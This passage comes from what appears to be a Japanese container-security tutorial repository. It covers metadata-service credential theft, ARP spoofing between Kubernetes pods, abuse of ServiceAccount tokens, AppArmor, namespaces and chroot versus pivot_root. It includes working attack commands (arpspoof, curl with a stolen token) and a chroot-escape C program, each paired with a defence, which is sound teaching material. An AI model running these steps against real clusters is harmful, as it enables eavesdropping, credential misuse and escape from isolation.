https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/blobs/sha256:a34b0c316d63ed56e3cc1a312826765097c78c747445fad0e14d82686cb5563a -o layer.tar.gz\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\n100   117  100   117    0     0    873      0 --:--:-- --:--:-- --:--:--   873\nroot@test:~# tar xvzf layer.tar.gz\nsecret.txt\nroot@test:~# cat secret.txt\nthis is secret\n```\n\nEKS でもこのような攻撃を防ぐために hostNetwork を利用しないコンテナが IMDS に接続しないように設定できます。[^5]  \nカスタム Launch template を使っているか、Self-managed かどうかなどで設定方法が変わってきますが、今回の場合だと `eksctl create nodegroup` でノードグループを作成する際に、 `--disable-pod-imds` フラグを付与することでアクセスを禁止することができます。  \n禁止すると次のように 401 が返ってくるようになります。\n\n```shell\nbash-5.0# curl -i http://169.254.169.254/\nHTTP/1.1 401 Unauthorized\nContent-Length: 0\nDate: Mon, 23 Nov 2020 14:50:10 GMT\nServer: EC2ws\nConnection: close\nContent-Type: text/plain\n```\n\n---\n\n[^1]: https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-trust\n[^2]: https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers\n[^3]: https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity\n[^4]: https://cloud.google.com/kubernetes-engine/docs/how-to/shielded-gke-nodes\n[^5]: https://docs.aws.amazon.com/eks/latest/userguide/best-practices-security.html\n"
  },
  {
    "path": "source/kubernetes/security/privileged-pod.md",
    "content": "# Pod の権限と Node へのエスケープ\n\n[ホストへのエスケープ](https://container-security.dev/security/breakout-to-host.html)でも紹介したように、特権コンテナはホスト側にエスケープすることが可能です。  \nKubernetes の場合は Pod がスケジュールされた Node にエスケープすることができます。\n\n## SecurityContext\n\nDocker ではコマンドラインオプションでコンテナの権限を設定できました。  \nKubernetes の Pod では SecurityContext を利用して Pod やコンテナに対して次のような設定が可能です。\n\n- DAC ... 実行ユーザーや volume のグループを変更する\n- SELinux ... SELinux の設定\n- AppArmor ... AppArmor の設定\n- 特権コンテナ ... 特権コンテナか非特権コンテナかの設定\n- Linux Capabilities ... Capabilities の設定\n- seccomp ... seccomp の設定\n- AllowPrivilegeEscalation ... プロセスが追加の特権を取得できないようにする\n- readOnlyRootFilesystem ... コンテナのルートファイルシステムを Read Only にする\n\nそれぞれの挙動の詳細についてはドキュメントを参照ください。\n\n## Capabilities\n\nコンテナへの過剰な Capability 不要は Breakout につながるものであると紹介しました。  \nそれでは Pod のデフォルトの Capabilities を確認してみましょう。\n\n```shell\nroot@test:/# pscap -a\nppid  pid   name        command           capabilities\n0     1     root        bash              chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap\n```\n\n`pscap` コマンドで確認すると、いくつかの Capability が付与されていることが確認できます。  \nこの中でも興味深いのは `CAP_NET_RAW` です。これは Raw Socket を使うことができるため、 ARP Spoofing や DNS Spoofing を行うことができます。\n\n## ARP Spoofing で Pod 間の通信を盗聴する\n\nRaw Socket を扱えるため ARP Spoofing によって Pod 間の通信を盗聴することができます。  \nでは実際に試してみましょう。まず、サーバーとなる nginx Pod と、そこにアクセスする client Pod を作成します。\n\n```shell\n$ kubectl run --image=nginx:latest server\n$ kubectl get pods -o wide\nNAME       READY   STATUS    RESTARTS   AGE   IP            NODE       NOMINATED NODE   READINESS GATES\nserver     1/1     Running   0          15m   172.17.0.15   minikube   <none>           <none>\n\n$ kubectl run --image=nicolaka/netshoot:latest --rm -it client -- bash -c 'while true; do curl http://172.17.0.15 ; sleep 5; done'\n\n$ kubectl get pods -o wide\nNAME       READY   STATUS    RESTARTS   AGE   IP            NODE       NOMINATED NODE   READINESS GATES\nserver     1/1     Running   0          3m   172.17.0.15   minikube   <none>           <none>\nclient     1/1     Running   0          2m30s   172.17.0.16   minikube   <none>           <none>\n```\n\nそして攻撃者用の Pod を作成し、 `arpspoof` コマンドで ARP Spoofing を実行します。  \n同時に、 `tcpdump` で通信内容を確認します。\n\n```shell\n$ kubectl run --image=ubuntu:latest --rm -it attacker bash\nroot@attacker:/# apt update ; apt install -y dsniff tcpdump\nroot@attacker:/# arpspoof -t 172.17.0.16 172.17.0.15\n```\n\n```shell\n$ kubectl exec -it attacker -- tcpdump -i any tcp -vv\n    172.17.0.16.55080 > 172.17.0.15.80: Flags [P.], cksum 0x58b3 (incorrect -> 0x96e4), seq 0:75, ack 1, win 502, options [nop,nop,TS val 910579351 ecr 3251193240], length 75: HTTP, length: 75\n        GET / HTTP/1.1\n        Host: 172.17.0.15\n        User-Agent: curl/7.71.1\n        Accept: */*\n```\n\nこのように通信内容を取得することができました。\n\n## DNS Spoofing\n\nTBD\n"
  },
  {
    "path": "source/kubernetes/security/service-account.md",
    "content": "# ServiceAccount には最小権限を与える\n\nServiceAccount のトークンと証明書は Pod 内の `/var/run/secrets/kubernetes.io/serviceaccounts/` 配下にマウントされます。  \nそのため、Pod が侵害された場合には、攻撃者はマウントされた ServiceAccount の権限でリソースの操作が可能になります。ですので、ServiceAccount への権限付与は最小権限の原則に則り、必要な権限のみを付与することを推奨します。\n\nPod にマウントする ServiceAccount を明示していない場合は、 `default` ServiceAccount のトークンがマウントされますが、権限が付与されていないため、ほぼ何もできません。\n\n```shell\nbash-5.0# cd /var/run/secrets/kubernetes.io/serviceaccount/ bash-5.0# ls\nca.crt     namespace  token\n\nbash-5.0# KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\nbash-5.0# curl -sSk -H \"Authorization: Bearer $KUBE_TOKEN\" \\\n  https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/default/pods/$HOSTNAME\n{\n  \"kind\": \"Status\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n\n  },\n  \"status\": \"Failure\",\n  \"message\": \"pods \\\"test\\\" is forbidden: User \\\"system:serviceaccount:lab:default\\\" cannot get resource \\\"pods\\\" in API group \\\"\\\" in the namespace \\\"default\\\"\",\n  \"reason\": \"Forbidden\",\n  \"details\": {\n    \"name\": \"test\",\n    \"kind\": \"pods\"\n  },\n  \"code\": 403\n}\n```\n\n自身が利用可能なアクションを知る API を利用して Pod を `get` できないことが確認できます。\n\n```shell\ncurl -sSk -H \"Authorization: Bearer $KUBE_TOKEN\" \\\n     -d @- \\\n     -H \"Content-Type: application/json\" \\\n     -H 'Accept: application/json, */*' \\\n     -XPOST https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/authorization.k8s.io/v1/selfsubjectaccessreviews <<'EOF'\n{\n   \"kind\":\"SelfSubjectAccessReview\",\n   \"apiVersion\":\"authorization.k8s.io/v1\",\n   \"metadata\":{\n      \"creationTimestamp\":null\n   },\n   \"spec\":{\n      \"resourceAttributes\":{\n         \"namespace\":\"lab\",\n         \"verb\":\"get\",\n         \"resource\":\"pods\"\n      }\n   },\n   \"status\":{\n   }\n}\nEOF\n\n{\n  \"kind\": \"SelfSubjectAccessReview\",\n  \"apiVersion\": \"authorization.k8s.io/v1\",\n  \"metadata\": {\n    \"creationTimestamp\": null,\n    \"managedFields\": [\n      {\n        \"manager\": \"curl\",\n        \"operation\": \"Update\",\n        \"apiVersion\": \"authorization.k8s.io/v1\",\n        \"time\": \"2020-11-23T02:39:02Z\",\n        \"fieldsType\": \"FieldsV1\",\n        \"fieldsV1\": {\"f:spec\":{\"f:resourceAttributes\":{\".\":{},\"f:namespace\":{},\"f:resource\":{},\"f:verb\":{}}}}\n      }\n    ]\n  },\n  \"spec\": {\n    \"resourceAttributes\": {\n      \"namespace\": \"lab\",\n      \"verb\": \"get\",\n      \"resource\": \"pods\"\n    }\n  },\n  \"status\": {\n    \"allowed\": false\n  }\n}\n```\n\nもし次のように Job を作成するできるような権限を持った ServiceAccount のトークンがマウントされている場合は、Job を通して Pod を作成することができます。  \n\n```yaml\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: runner\n  namespace: lab\n\n---\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: job-runner\n  namespace: lab\nrules:\n  - apiGroups: [\"batch\", \"extensions\"]\n    resources: [\"jobs\", \"job/status\"]\n    verbs: [\"*\"]\n  - apiGroups: [\"\"]\n    resources: [\"pods\", \"pods/binding\", \"pods/log\", \"pods/status\"]\n    verbs: [\"get\", \"list\"]\n\n---\nkind: RoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: job-runner\n  namespace: lab\nsubjects:\n- kind: ServiceAccount\n  name: runner\n  namespace: lab\nroleRef:\n  kind: Role\n  name: job-runner\n  apiGroup: rbac.authorization.k8s.io\n```\n\n```shell\nbash-5.0# curl -sSk -H \"Authorization: Bearer $KUBE_TOKEN\" -H \"Content-Type: application/json\" -H 'Accept: application/json, */*' -d @- https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/batch/v1/namespaces/lab/jobs <<'EOF'\n{\n   \"apiVersion\":\"batch/v1\",\n   \"kind\":\"Job\",\n   \"metadata\":{\n      \"name\":\"sleep-job\",\n      \"namespace\":\"lab\"\n   },\n   \"spec\":{\n      \"backoffLimit\":4,\n      \"template\":{\n         \"spec\":{\n            \"containers\":[\n               {\n                  \"command\":[\n                    \"sleep\",\n                    \"100\"\n                  ],\n                  \"image\":\"alpine:latest\",\n                  \"name\":\"sleep-job\"\n               }\n            ],\n            \"restartPolicy\":\"Never\"\n         }\n      }\n   }\n}\nEOF\n```\n\n例えばもし、 hostPath のマウントを制限していない場合、これを利用して Pod が配置された node にエスケープすることができます。  \n\n## `automountServiceAccountToken` を利用してトークンをマウントしない\n\nPod に ServiceAccount のトークンをマウントする必要がない場合は `automountServiceAccountToken: false` を指定します。\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pod\nspec:\n  serviceAccount: runner\n  automountServiceAccountToken: false\n  ...\n```\n\nまた、 ServiceAccount に対して `automountServiceAccountToken` を指定することもできます。\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: runner\n  namespace: lab\nautomountServiceAccountToken: false\n```\n\nServiceAccount に対して指定した場合、明示的に `automountServiceAccountToken: true` を指定しなければマウントされません。  \n\n## TokenRequestProjection を利用する\n\nTokenRequestProjection を利用することで ServiceAccount トークンを動的に発行して Pod にマウントすることができます。[^1]  \nこれにより ServiceAccount のトークンの有効期限を設定しつつ、自動で Pod 内のトークンをリフレッシュすることができます。  \nまた、Pod を削除するとそのトークンも利用不可となるため、トークンが漏洩した場合に影響を小さくすることができます。\n\n例えば次のようなマニフェストを実行すると、10分でリフレッシュされる ServiceAccount トークンをマウントする Pod を作成することができます。\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: sleep\nspec:\n  serviceAccount: runner\n  containers:\n  - name: alpine\n    image: alpine:latest\n    args:\n    - tail\n    - -f\n    - /dev/null\n    volumeMounts:\n        - mountPath: /var/run/secrets/tokens\n          name: token\n  volumes:\n  - name: token\n    projected:\n      sources:\n      - serviceAccountToken:\n          path: token\n          expirationSeconds: 600\n          audience: api\n```\n\nPod を実行し、10分経過すると token がリフレッシュされていることが確認できます。\n\n```shell\n/run/secrets/tokens # date\nMon Nov 23 08:17:14 UTC 2020\n/run/secrets/tokens # cat token\neyJhbGciOiJSUzI1NiIsImtpZCI6IkRqWFZUR3dMZ2tsbXZyUHVGZ01nRHc5d2Q3U3laRjZVRXFHTzQ5eHZaQjAifQ.eyJhdWQiOlsiYXBpIl0sImV4cCI6MTYwNjExOTcxOCwiaWF0IjoxNjA2MTE5MTE4LCJpc3MiOiJrdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJsYWIiLCJwb2QiOnsibmFtZSI6InNsZWVwIiwidWlkIjoiZDQ4N2M5ODQtNzMxNC00MWZmLThjZTUtNWUxNGIyZDc0OGFmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJydW5uZXIiLCJ1aWQiOiIyYTNjYjZiZi1lOGE5LTRhNDAtYWFlMC1lODMyMjMwNjI5MzIifX0sIm5iZiI6MTYwNjExOTExOCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmxhYjpydW5uZXIifQ.Sr6ZkbaoFlX4QcUO53gloBjkT_hqKYg1wh13qS6lAX1INUi7tVEYWCjKw3RvkocNIeFIa7WWzlgD66vdXT2OV63yd2Zxovndyx68_PSqbYlhluASTiOasT24JGqqN7iq2uwp8hrw5YTjyEenLQhAJ1qC1Xzgh5NQYxcLYErk2NQVFKQzbhrHVZvtl0NlW3lyNmp6beCy1_jZqccyOTWK8p_D0HXRGkSHo1ExYRYqtbIg-f6j61-NwWU0duUbI_i-vRFO7KefW4onv2RBRiOun91by_xCziAYXWch6SFYWSIbxaFvk-jb6OixtMgUI8q514AWb2SGoWQ0xBvAQhikhg\n\n/run/secrets/tokens # date\nMon Nov 23 08:29:03 UTC 2020\n/run/secrets/tokens # cat token\neyJhbGciOiJSUzI1NiIsImtpZCI6IkRqWFZUR3dMZ2tsbXZyUHVGZ01nRHc5d2Q3U3laRjZVRXFHTzQ5eHZaQjAifQ.eyJhdWQiOlsiYXBpIl0sImV4cCI6MTYwNjEyMDIwNCwiaWF0IjoxNjA2MTE5NjA0LCJpc3MiOiJrdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJsYWIiLCJwb2QiOnsibmFtZSI6InNsZWVwIiwidWlkIjoiZDQ4N2M5ODQtNzMxNC00MWZmLThjZTUtNWUxNGIyZDc0OGFmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJydW5uZXIiLCJ1aWQiOiIyYTNjYjZiZi1lOGE5LTRhNDAtYWFlMC1lODMyMjMwNjI5MzIifX0sIm5iZiI6MTYwNjExOTYwNCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmxhYjpydW5uZXIifQ.SgObuy7ql-kXI-P6uNY6hmUdONSZJfPo7dvxukU7kKFCCIvQcNnWYxzOoo2B_XK4_u7atAGtqWSe9MBG6rJpT73lOjSmGMOeqGVKAe6UTpbnbmS9DO6sVnwCNOCRgs_muwTyF6km66ZxvAm866V5kUIoX407Aa5I-KWZk-8OKT9Db6QKgKBqA9lPKX_Ii-AYBVi_kKB1wR70zxNW_VOapMh9oGXU-ymzGDfJb0Cdo8wJJabpgbIWVlEO7E9417gf6w90U_H5b4mOdGsjWs0JtgVXw3sGBflHUrU0AwYUXI6a8B_HFbS4Q0ChYMZCm5amFQvC6lZL5OsILnaG9JwILg\n```\n\n古いトークンは利用できなくなっていることも確認しましょう。\n\n```shell\nbash-5.0# KUBE_TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IkRqWFZUR3dMZ2tsbXZyUHVGZ01nRHc5d2Q3U3laRjZVRXFHTzQ5eHZaQjAifQ.eyJhdWQiOlsiYXBpIl0sImV4cCI6MTYwNjExOTcxOCwiaWF0IjoxNjA2MTE5MTE4LCJpc3MiOiJrdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJsYWIiLCJwb2QiOnsibmFtZSI6InNsZWVwIiwidWlkIjoiZDQ4N2M5ODQtNzMxNC00MWZmLThjZTUtNWUxNGIyZDc0OGFmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJydW5uZXIiLCJ1aWQiOiIyYTNjYjZiZi1lOGE5LTRhNDAtYWFlMC1lODMyMjMwNjI5MzIifX0sIm5iZiI6MTYwNjExOTExOCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmxhYjpydW5uZXIifQ.Sr6ZkbaoFlX4QcUO53gloBjkT_hqKYg1wh13qS6lAX1INUi7tVEYWCjKw3RvkocNIeFIa7WWzlgD66vdXT2OV63yd2Zxovndyx68_PSqbYlhluASTiOasT24JGqqN7iq2uwp8hrw5YTjyEenLQhAJ1qC1Xzgh5NQYxcLYErk2NQVFKQzbhrHVZvtl0NlW3lyNmp6beCy1_jZqccyOTWK8p_D0HXRGkSHo1ExYRYqtbIg-f6j61-NwWU0duUbI_i-vRFO7KefW4onv2RBRiOun91by_xCziAYXWch6SFYWSIbxaFvk-jb6OixtMgUI8q514AWb2SGoWQ0xBvAQhikhg\n\nbash-5.0# curl -sSk -H \"Authorization: Bearer $KUBE_TOKEN\" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/lab/pods/$HOSTNAME\n{\n  \"kind\": \"Status\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n\n  },\n  \"status\": \"Failure\",\n  \"message\": \"Unauthorized\",\n  \"reason\": \"Unauthorized\",\n  \"code\": 401\n}\n```\n\nPod を削除すると有効だったトークンも利用できなくなっています。\n\n```shell\n$ kubectl delete -f test.pod\n\nbash-5.0# curl -sSk -H \"Authorization: Bearer $KUBE_TOKEN\" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/lab/pods/$HOSTNAME\n{\n  \"kind\": \"Status\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n\n  },\n  \"status\": \"Failure\",\n  \"message\": \"Unauthorized\",\n  \"reason\": \"Unauthorized\",\n  \"code\": 401\n}\n```\n\n\n\n---\n\n[^1]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#service-account-token-volume-projection\n"
  },
  {
    "path": "source/lsm/apparmor.md",
    "content": "# AppArmor\n\nAppArmor は Linux Security Module (LSM) の一つで、Mandatory access control (MAC) を実現しています。  \nアプリケーションごとにプロファイルを適用することができ、特定のファイルへのアクセスやシステムコールの呼び出しの制限を行うことができます。\n\n例えば次のようなプロファイルを作成し、有効化することで `/home/ubuntu/mybash` は `/etc/hosts` の読み込みだけができ、他のファイルへの読み書きができなくなります。\n\n```sh\n$ cat /etc/apparmor.d/test\n#include <tunables/global>\n\nprofile test /home/ubuntu/mybash {\n    #include <abstractions/base>\n\n    /etc/hosts r,\n    /usr/bin/cat ix,\n}\n\n$ sudo apparmor_parser -r -W /etc/apparmor.d/test\n\n$ ./mybash\nmybash-5.0$ cat /etc/passwd\ncat: /etc/passwd: Permission denied\nmybash-5.0$ cat /etc/hosts\n# Your system has configured 'manage_etc_hosts' as True.\n...\n127.0.0.1 localhost\n...\n\nmybash-5.0$ echo test >> /etc/hosts\nmybash: /etc/hosts: Permission denied\n```\n\nDocker コンテナにも `default-docker` というプロファイル名で適用されており、多層防御の一つとして機能します。[^1]\n\n```sh\n$ sudo aa-status | grep docker\n   docker-default\n```\n\n例えば、 `CAP_SYS_ADMIN` を付与した場合でも `mount` コマンドは AppArmor によって実行が防止されますが、AppArmor を外すことで実行することができ、AppArmor が最後の砦として機能していることが確認できます。\n\n```sh\n$ docker container run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu:latest bash\nroot@85c7ea124688:/# mkdir a; mkdir b; mount --bind a b\nmount: /b: bind /a failed.\n\n$ docker container run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu:latest bash\nroot@110e911e07bc:/# mkdir a; mkdir b; mount --bind a b\nroot@110e911e07bc:/#\n```\n\nコンテナ上で動くアプリケーションに対応したカスタムプロファイルを作成することで、コンテナをより強固にすることができます。\n\n---\n\n[^1]: https://github.com/moby/moby/blob/master/contrib/apparmor/template.go\n"
  },
  {
    "path": "source/namespace/README.md",
    "content": "# Namespace\n\nLinux Namespace はホストとの Isolation の要の一つです。  \nここでは Linux Namespace を単に Namespace あるいは名前空間と呼ぶこととします。\n\nNamespace は Linux カーネルの機能で、ホストと Namespace 内のプロセスとでリソースを分離することができます。  \nコンテナごとに Namespace を持つことで、ホストや他のコンテナとの分離を実現しています。\n\nNamespace には Linux 5.9 の段階では、次の8つがあります。\n\n| Namespace | 概要 |\n|:---------:|:----:|\n| Cgroup | Namespace ごとに cgroup を作成する（Linux 4.6 から） |\n| IPC | IPC や POSIX message queues などを分離 |\n| Network | ネットワークデバイスやアドレスなどを分離 |\n| Mount | ファイルシステムを分離 |\n| PID | プロセスID を分離する（Linux 3.8 から） |\n| Time | システムクロックの一部を分離する（Linux 5.6 から） |\n| User | UID / GID を分離する（Linux 3.8 から） |\n| UTS | hostname を分離する |\n\n例えばコンテナを作成したときにホスト側のプロセスは確認できませんし、ホスト名もホスト側とは異なります。  \nこれらは Namespace を使って実現されています。\n\n```\nroot@3a7669ccdce1:/# hostname\n3a7669ccdce1\nroot@3a7669ccdce1:/# ps aux\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.2  0.0   4108  3440 pts/0    Ss   04:04   0:00 bash\nroot          10  0.0  0.0   5888  2860 pts/0    R+   04:04   0:00 ps aux\n```\n\n## Namespace の確認\n\nコンテナ以外でも Namespace は使われています。現在利用されている Namespace とそのプロセスを一覧するには `lsns` コマンドを利用します。\n\n```\nubuntu@docker:~$ sudo lsns\n        NS TYPE   NPROCS   PID USER             COMMAND\n4026531835 cgroup    143     1 root             /sbin/init\n4026531836 pid       143     1 root             /sbin/init\n4026531837 user      143     1 root             /sbin/init\n4026531838 uts       139     1 root             /sbin/init\n4026531839 ipc       143     1 root             /sbin/init\n4026531840 mnt       135     1 root             /sbin/init\n4026531860 mnt         1    33 root             kdevtmpfs\n4026531992 net       143     1 root             /sbin/init\n4026532210 mnt         2   412 root             /lib/systemd/systemd-udevd\n4026532211 uts         2   412 root             /lib/systemd/systemd-udevd\n4026532212 mnt         1   548 systemd-timesync /lib/systemd/systemd-timesyncd\n4026532213 uts         1   548 systemd-timesync /lib/systemd/systemd-timesyncd\n4026532214 mnt         1   627 systemd-network  /lib/systemd/systemd-networkd\n4026532215 mnt         1   630 systemd-resolve  /lib/systemd/systemd-resolved\n4026532272 mnt         1   693 root             /usr/sbin/irqbalance --foreground\n4026532273 mnt         1   704 root             /lib/systemd/systemd-logind\n4026532275 uts         1   704 root             /lib/systemd/systemd-logind\n```\n\n`NS` 列に記載されているのが Namespace の ID で、重複していないことがわかります。  \nこの Namespace の ID は `/proc/$PID/ns` で確認できます。\n\n```\nubuntu@docker:~$ sudo ls -al /proc/1/ns\ntotal 0\ndr-x--x--x 2 root root 0 Nov 13 12:47 .\ndr-xr-xr-x 9 root root 0 Nov 13 12:47 ..\nlrwxrwxrwx 1 root root 0 Nov 13 12:48 cgroup -> 'cgroup:[4026531835]'\nlrwxrwxrwx 1 root root 0 Nov 13 12:48 ipc -> 'ipc:[4026531839]'\nlrwxrwxrwx 1 root root 0 Nov 13 12:47 mnt -> 'mnt:[4026531840]'\nlrwxrwxrwx 1 root root 0 Nov 13 12:48 net -> 'net:[4026531992]'\nlrwxrwxrwx 1 root root 0 Nov 13 12:48 pid -> 'pid:[4026531836]'\nlrwxrwxrwx 1 root root 0 Nov 13 13:01 pid_for_children -> 'pid:[4026531836]'\nlrwxrwxrwx 1 root root 0 Nov 13 12:48 user -> 'user:[4026531837]'\nlrwxrwxrwx 1 root root 0 Nov 13 12:48 uts -> 'uts:[4026531838]'\n```\n\nNamespace は `unshare(2)` を利用して作成できます。`unshare(1)` を使うことで簡単に利用できるので試してみましょう。  \nUTS namespace を作成し、その Namespace 内で bash を実行します。\n\n```\nubuntu@docker:~$ sudo unshare --uts bash\nroot@docker:/home/ubuntu# hostname test\nroot@docker:/home/ubuntu# hostname\ntest\nroot@docker:/home/ubuntu#\n```\n\n`lsns` コマンドを実行すると Namespace `4026532216` で UTS 名前空間が作成されていることが確認できます。\n\n```\nubuntu@docker:~$ sudo lsns | grep bash\n4026532216 uts         1  1441 root             bash\n```\n"
  },
  {
    "path": "source/namespace/chroot-and-pivot_root.md",
    "content": "# chroot と pivot_root\n\nMount Namespace では、名前空間ごとにマウントポイントを利用できることが確認できました。  \nしかしコンテナではルートディレクトリ `/` 配下を全て別のファイルシステムにしなければ、ホスト側のファイルを操作できてしまいます。  \nこれを実現するために `chroot` と `pivot_root` が利用されます。\n\nどちらもルートディレクトリを別のディストリに置き換えることができるシステムコールですが、挙動が全く異なります。\n\n## chroot\n\n`chroot` は現在のプロセスとその子プロセスのルートディレクトリを変更するシステムコールです。  \n例えば次のように Alpine Linux の rootfs を用意し、そのディレクトリに chroot することで、ルートディレクトリが置き換えられたように見えます。\n\n```sh\nubuntu@docker:~/$ mkdir alpine\nubuntu@docker:~/$ cd alpine\nubuntu@docker:~/alpine$ wget http://dl-cdn.alpinelinux.org/alpine/v3.12/releases/x86_64/alpine-minirootfs-3.12.1-x86_64.tar.gz\nubuntu@docker:~/alpine$ tar xzf alpine-minirootfs-3.12.1-x86_64.tar.gz\nubuntu@docker:~/alpine$ rm alpine-minirootfs-3.12.1-x86_64.tar.gz\nubuntu@docker:~/alpine$ cd ..\n\nubuntu@docker:~$ sudo chroot alpine sh\n/ # ls\nbin    etc    lib    mnt    proc   run    srv    tmp    var\ndev    home   media  opt    root   sbin   sys    usr\n/ # cat /etc/alpine-release\n3.12.1\n```\n\n### chroot の問題点\n\nchroot はプロセスが `CAP_SYS_CHROOT` Capability を持っている場合に、脱獄(chroot 環境から元の環境に移動できる)が可能です。  \nこれは chroot がカレントディレクトリを変更しないことに起因している仕様です。\n\nプロセスのタスク構造体には、ルートディレクトリ情報を持つ `fs->root` とカレントディレクトリ情報を持つ `fs->pwd` があります。  \n`chroot /path/to/debian` すると `fs->root` は `/path/to/debian` になります。  \nさらにその chroot 環境下で `chroot test` すると `fs->root` は `/path/to/debian/test` になるのですが、 `fs->pwd` は `/path/to/debian` のままとなり、 root が pwd の子になっている構造になってしまいます。  \n`cd ..` すると `fs->root` かどうかチェックが走りますが、このケースだと `fs->root` にマッチすることはないため、最終的に本来の root にたどり着き脱獄することができるという仕組みです。\n\nこれをコードにすると次のようになります。\n\n```sh\n$ cat jailbreak.c\n#include <stdio.h>\n#include <sys/stat.h>\n#include <sys/types.h>\n\nvoid main()\n{\n  mkdir(\"test\", 0);\n  chroot(\"test\");\n  chroot(\"../../../../../../../../../../\");\n  execv(\"/bin/bash\");\n}\n\n$ gcc jailbreak.c\n$ mv a.out debian/\n$ sudo chroot debian bash\n# ./a.out\n/home/ubuntu/debian# cat /etc/lsb-release\nDISTRIB_ID=Ubuntu\nDISTRIB_RELEASE=20.04\nDISTRIB_CODENAME=focal\nDISTRIB_DESCRIPTION=\"Ubuntu 20.04.1 LTS\"\n```\n\nこのように chroot できる権限を持っていると脱獄ができてしまいます。  \nそこで脱獄を防ぐために pivot_root というシステムコールがあります。\n\n## pivot_root\n\nchroot はルートディレクトリを変更するものでしたが、pivot_root はプロセスのルートファイルシステムを入れ替えるものです。  \nつまり、現在のプロセスのルートファイルシステムを別の場所にマウントし、新しいルートファイルシステムを `/` にマウントすることができます。  \n全く別のものにすり替えてしまうものなので、脱獄のしようがありません。また、古いルートファイルシステムを unmount することも可能です。  \n\nただし、pivot_root をするには次の条件を満たす必要があります。[^1]\n\n* 新しいファイルシステム(new_root)と元のファイルシステム(put_old)は現在のルートファイルシステムと同じマウントポイントにあってはいけない\n* put_old は new_root の配下になければならない\n* 他のファイルシステムを put_old にマウントできない\n\n上記を満たすために bind mount を利用します。bind mount は指定したディレクトリを別の場所にそのままマウントします。インターフェイスとしては `ln` コマンドに似ていますが、一つのマウントポイントとして機能するため、pivot_root の条件を満たすことができます。\n\nもうひとつ注意点として、pivot_root はマウントポイントを操作してルートディレクトリが変更されてしまうため、Mount Namespace を利用して実行することになります。  \nでは rootfs を差し替えたコンテナもどきを作ってみます。\n\n```sh\nubuntu@docker:~$ sudo unshare --uts --pid --fork --mount sh -c \\\n  \"mount --bind $NEW_ROOT $NEW_ROOT && \\ # bind mount\n  mount -t proc proc $NEW_ROOT/proc && \\ # procfs をマウント\n  pivot_root $NEW_ROOT $NEW_ROOT/.put_old && \\ # pivot_root で差し替え\n  umount -l /.put_old && \\ # 元のルートファイルシステムを umount\n  cd / && \\\n  exec /bin/sh\"\n\n/ # ps aux\nPID   USER     TIME  COMMAND\n    1 root      0:00 /bin/sh\n    6 root      0:00 ps aux\n/ # ls /etc\nalpine-release  hosts           modules-load.d  periodic        shells\napk             init.d          motd            profile         ssl\nconf.d          inittab         mtab            profile.d       sysctl.conf\ncrontabs        issue           network         protocols       sysctl.d\nfstab           logrotate.d     opt             securetty       udhcpd.conf\ngroup           modprobe.d      os-release      services\nhostname        modules         passwd          shadow\n```\n\n---\n\n[^1]: その他の条件など、詳しくは man https://man7.org/linux/man-pages/man2/pivot_root.2.html を参照ください\n"
  },
  {
    "path": "source/namespace/mount.md",
